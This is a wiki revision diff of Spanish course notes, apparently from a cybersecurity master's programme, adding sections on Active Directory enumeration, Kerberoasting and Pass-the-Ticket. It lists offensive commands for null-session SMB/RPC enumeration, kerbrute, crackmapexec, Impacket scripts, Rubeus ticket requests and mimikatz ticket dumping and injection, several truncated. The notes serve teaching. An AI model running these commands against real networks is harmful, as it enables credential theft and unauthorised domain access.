Muestra las diferencias entre dos versiones de la página.
| Próxima revisión | Revisión previa | ||
| master_cs:int:tm9v2 [2026/05/19 14:27] – creado thejuanvisu | master_cs:int:tm9v2 [2026/05/19 14:56] (actual) – thejuanvisu | ||
|---|---|---|---|
| Línea 38: | Línea 38: | ||
| * NTLM (NT LAN Manager): Protocolo de autenticación que utiliza hashes de contraseña para autenticar a los users. | * NTLM (NT LAN Manager): Protocolo de autenticación que utiliza hashes de contraseña para autenticar a los users. | ||
| * LM (LAN Manager): Protocolo más antiguo utilizado por widnows. Almacena contraseñas en un formato vulnerable a fuerza bruta | * LM (LAN Manager): Protocolo más antiguo utilizado por widnows. Almacena contraseñas en un formato vulnerable a fuerza bruta | ||
| + | |||
| + | |||
| + | ===== Enumeración en Active Directory ===== | ||
| + | * Puertos y servicios comunes: SMB, Kerberos y LDAP | ||
| + | * Importante identificar: | ||
| + | |||
| + | En el peor de los casos no tendríamos ninguna credencial inicial, en este caso se puede intentar obtener info con NULL SESSIONS: | ||
| + | |||
| + | <code bash> | ||
| + | #Mostrar recursos compartidos disponobles en el server objetivo | ||
| + | smbclient -L \\< | ||
| + | |||
| + | #conexión a NetBIOS de forma anónima | ||
| + | rpcclient -U " -N < | ||
| + | |||
| + | # | ||
| + | kerbrute userenum -d < | ||
| + | |||
| + | # | ||
| + | enum4linux -a < | ||
| + | |||
| + | # | ||
| + | crackmapexec smb < | ||
| + | </ | ||
| + | |||
| + | Si se tienen credenciales de algún usuario no privilegiado del dominio | ||
| + | <code bash> | ||
| + | #Busca información sensible consultando todos los objetos LDAP a los que pueda acceder. | ||
| + | ldapsearch -h < | ||
| + | |||
| + | #Identifica los servicios de windows usando la interfaz MSRPC | ||
| + | python3 services.py < | ||
| + | |||
| + | # Recopila datos sobre los usuarios del dominio y sus correspondientes direcciones de email | ||
| + | python3 GetAdUsers.py < | ||
| + | |||
| + | #Enumera grupos de dominio, grupos locales, usuarios conectados, identificadores, | ||
| + | crackmapexec smb <IP Objetivo> | ||
| + | users --rid-brute --sessions --users --shares --pass-pol | ||
| + | |||
| + | </ | ||
| + | |||
| + | En caso de tener el nombre de usuario y el NT Hash se podrían obtener los credenciales por fuerza bruta | ||
| + | |||
| + | ===== Kerberoasting ===== | ||
| + | Explota debilidades en el protocolo kerberos para obtener tickets de servicio cifrados con la contraseña de usuario. se pueden usar herramientas como rubeus en la máuqina comprometida con el siguiente comando: | ||
| + | <code powershell> | ||
| + | .\Rubeus.exe tgtdeleg | ||
| + | </ | ||
| + | Una vez obtenido el TGT, el atacante usa el siguiente comando para obtener un Ticket de servicio: | ||
| + | <code powershell> | ||
| + | .\Rubeus.exe asktgt / | ||
| + | </ | ||
| + | |||
| + | Ahora el atacante tiene un ticket de servicio para el servicio que puede almacenar para su uso posterior. Este ticket puede usarse con herramientas como hashcat o john the ripper para descifrar la contraseña. | ||
| + | |||
| + | ===== Ataque Pass the Ticket (PtP) ===== | ||
| + | Se utilizan tickets de kerberos previamente obtenidos para acceder a recursos protegidos. Con MimiKatz se puede realizar el siguiente ataque: | ||
| + | |||
| + | El atacante descarga y ejecuta la herramienta en un sistema comprometido: | ||
| + | < | ||
| + | .\mimikatz.exe | ||
| + | </ | ||
| + | |||
| + | Tras eso, se utiliza el siguiente comando paramostrar los tickets almacenados en el sistema: | ||
| + | |||
| + | < | ||
| + | mimikatz# sekurlsa:: | ||
| + | </ | ||
| + | |||
| + | Se identifica un ticket de servicio (TGS) | ||
| + | |||
| + | < | ||
| + | mimikatz# sekurlsa:: | ||
| + | </ | ||
| + | |||
| + | Tras eso, se ejecuta el siguiente comando para inyectar el TGS en el sistema, permitiendo su uso sin conocer la contreña: | ||
| + | |||
| + | < | ||
| + | mimikatz# kerberos:: | ||
| + | </ | ||
| + | |||
| + | |||